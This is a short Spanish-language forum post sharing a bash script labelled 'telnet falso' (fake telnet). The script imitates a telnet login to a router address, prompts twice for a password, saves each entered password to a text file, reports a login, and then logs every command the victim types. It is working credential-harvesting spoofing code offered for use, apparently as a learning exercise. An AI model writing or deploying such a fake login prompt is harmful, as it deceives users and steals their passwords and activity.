Al final lo he echo con mas echos ;)
Aquí esta el código ;)
Código:
#!/bin/bash
#telnet falso
clear
telnet=telnet
ip=192.168.1.1
echo -n $USERNAME\~\$
read telnet
echo -n "$telnet>"
#echo "open:"
read open ip
echo -n "$telnet" $ip
echo "Trying" $ip...
echo "Connected to" $ip.
echo "Escape character is '^]'."
#contraseña
echo
echo -n "Password" \for $ip:
read -s passwordpass
echo $passwordpass >> /home/smx/contraseña.txt
echo
echo
echo "Incorrect password"
echo
echo -n "Password:"
read -s passwordpass
echo $passwordpass >> /home/smx/contraseña.txt
echo
echo
echo "Login correct!"
echo
#comando
while :
do
echo -n "introduce command:"
read comandos
echo
echo $comandos >> /home/smx/comandos.txt
echo "Invalid command:" $comandos
echo
done